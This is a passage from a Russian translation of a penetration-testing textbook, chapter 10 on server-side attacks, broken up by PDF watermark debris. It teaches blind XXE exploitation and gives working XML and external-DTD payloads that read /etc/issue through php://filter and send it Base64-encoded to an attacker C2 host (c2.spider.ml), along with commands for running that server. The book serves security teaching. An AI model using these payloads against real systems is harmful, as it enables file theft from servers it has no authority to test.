Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 268 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Глава 10.Практические атаки на стороне сервера

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.10.15. База данных SQL,извлеченная из внутреннего хоста

CyberChef – отличный инструмент для манипулирования данными, доступный онлайн или для загрузки со страницы https://

gchq.github.io/CyberChef.

Получилось! Нам удалось заиметь базу данных из внутренней системы,связав два эксплойта:

XML External Entity (XXE) Server-side Request Forgery (SSRF) ->

Local File Inclusion (LFI)

Как мы уже видели, подделка запроса, в частности XXE (поскольку можем получить содержимое ответа), представляет огромную ценность во время выполнения задания.

«Слепой» XXE

В повседневной работе вам, вероятно, приходилось сталкиваться с тем, что не все XML-парсеры столь же многословны, как тот, что использовался в пре- дыдущемпримере.Многиевеб-приложениянастроенынаподавлениеошибок

ипредупреждений, и иногда они не выводят никаких полезных данных. Предыдущие атаки основывалисьнатом факте,что полезная нагрузка обработана

исущностивыведенынаэкран,чтопозволилонамслегкостьюукрастьданные.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атаки XXE  269 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

Однако в некоторых случаях это невозможно.

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

Чтобы продемонстрировать данную атаку, исправим XML-парсер, дабы он подавлял сообщения об ошибках и отображал общее сообщение после каждой отправки.

Рис.10.16. Модифицированный XML-парсер не возвращает данные

Строки 2, 3 и 22 сделают наши предыдущие атаки, вызывающие утечку информации, бесполезными. Даже если мы успешно используем XXE, мы не сможем увидеть содержимое файла, который пытаемся получить. SSRF-атаки по-прежнему будут работать, но с их помощью не так просто осуществлять практическую эксплуатацию уязвимостей.

Рис.10.17. «Слепая» XXE-атака не дает полезного результата

Как же передатьданные наружу,если приложение не возвращаетничего полезного после эксплуатации?

Нужно стать немного более креативными. Внеполосная идентификация уязвимости использует командно-контрольный сервер для подтверждения уязви-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 270  Глава 10.Практические атаки на стороне сервера

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

мостиприложенияпутемнаблюдениязавходящимисетевымиподключениями.

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

Подтверждение наличия уязвимостей, подверженных «слепому» XXE, можно также делать внеполосно и,как показано в предыдущем примере,использовать для этого Burp Collaborator или внешний командно-контрольный сервер.

Что, если вместо указания XML-парсеру возвращать необходимые нам данные с помощью тега <xxe>&exfil;</xxe> мы выберем внеполосный подход? Поскольку мы не можем вернуть данные в браузере,то можем попросить парсер подключиться к командно-контрольному серверу и добавить данные в URL-адрес, что позволит нам получить содержимое путем анализа журналов доступа этого сервера.

Нам известно,что можно зашифроватьсодержимое файла в форматBase-64 с помощью потокового фильтра.Давайте объединим два этих способа и попытаемся отправить данные на наш командно-контрольный сервер вместо веббраузера.

Сущности, которые мы должны определить в нашем вредоносном коде, будут выглядеть примерно так:

<!ENTITY % data SYSTEM "php://filter/convert.base64encode/resource=file:///etc/issue">

<!ENTITY % conn "<!ENTITY exfil SYSTEM

'http://c2.spider.ml/exfil?%data;'>">

Если у вас зоркий глаз,то вы заметите новый символ %,который стоитперед именами сущностей. Он обозначает сущность уровня параметров, в отличие от общей сущности,которую мы использовали до сих пор.На общие сущности можно ссылаться где-нибудь в дереве корневых элементов, тогда как на сущность уровня параметров можно ссылаться в DTD или заголовке документа:

сущности параметров имеют префикс в виде символа %;общие сущности имеют префикс в виде символа &.

Следующий шаг–опробовать обе эти категории сущностей в нашем предыдущем коде.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [

<!ELEMENT xxe ANY >

<!ENTITY % data SYSTEM "php://filter/convert.base64encode/resource=file:///etc/issue">

<!ENTITY % conn "<!ENTITY exfil SYSTEM

'http://c2.spider.ml/exfil?%data;'>">

%conn;

]>

<xxe>&exfil;</xxe>

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

Атаки XXE  271 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Как видите, мы определяем сущности %data и %conn в DOCTYPE. Сущность

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

%conn также определяет общую сущность &exfil, которая присоединит сущность %data в кодировке Base64 к URL-адресу нашего командно-контрольного сервера для эксфильтрации.

Сразу после определения сущности параметров мы заставляем вычислить %conn, что положит начало сбору и кодированию данных. Также будет определено значение &exfil, которая позже вызывается в теле документа.

Проще говоря, уязвимый XML-парсер будет выполнять следующие дейст­ вия:

попытается вычислить значение %data и соответственно получить содержимое файла /etc/issue;

использует схему php://filter для кодирования содержимого /etc/

issue;

попытается вычислить значение %conn и соответственно подключиться к нашему командно-контрольному серверу2,c2.spider.ml;

передаст содержимое %data в формате Base64 через URL-адрес.

К сожалению, вредоносный код не будет работать из-за ограничений стандарта XML.

Ссылки на сущности параметров (%data и %conn) не допускаются в объявлениях разметки. Нужно использовать внешний DTD,чтобы определить их.

Можно проверитьнаш код на наличие ошибоклокально,используя команду Linux xmllint, как показано ниже.

root@kali:/tools# xmllint payload.xml

payload.xml:5: parser error : PEReferences forbidden in internal subset

<!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">

^

payload.xml:5: parser warning : not validating will not read content for PE entity data

<!ENTITY % conn "<!ENTITY exfil SYSTEM 'http://c2.spider.ml/exfil?%data;'>">

^

payload.xml:6: parser error : PEReference: %conn; not found %conn;

^

payload.xml:8: parser error : Entity 'exfil' not defined <xxe>&exfil;</xxe>

^

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 272 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Глава 10.Практические атаки на стороне сервера

xmllint доступен в пакете libxml2-utils в дистрибутивах на базе Debian,таких как Kali.

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Обходной путь достаточно прост. Мы будем хранить объявления сущностей для %data и%conn на нашем командно-контрольном сервере во внешнем DTDфайле.

root@spider-c2-1:~/c2/xxe# cat payload.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64encode/resource=file:///etc/issue">

<!ENTITY % conn "<!ENTITY exfil SYSTEM

'http://c2.spider.ml/exfil?%data;'>">

Также настроим простой веб-сервер, чтобы предоставить нашей жертве файл payload.dtd с помощью команды php –S.

root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80 PHP 7.0.27-0+deb9u1 Development Server started Listening on http://0.0.0.0:80

Document root is /root/c2/xxe Press Ctrl-C to quit.

Модифицированный вредоносный код будет выглядетьтак:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE xxe [

<!ELEMENT xxe ANY >

<!ENTITY % dtd SYSTEM "http://c2.spider.ml/payload.dtd">

%dtd;

%conn;

]> <xxe>&exfil;</xxe>

Единственное реальное отличие состоит в том, что мы переместили объявления наших сущностей во внешний DTD-файл и теперь ссылаемся на него в

DOCTYPE.

Как и ожидалось,наши XML-данные не сгенерировали никаких ошибок и не вернули никаких данных. Мы действуем вслепую. (См. рис. 10.18.)

Однако на сервере c2.spider.ml видно два HTTP-запроса,поступающих от жертвы.

root@spider-c2-1:~/c2/xxe# php -S 0.0.0.0:80 PHP 7.0.27-0+deb9u1 Development Server started Listening on http://0.0.0.0:80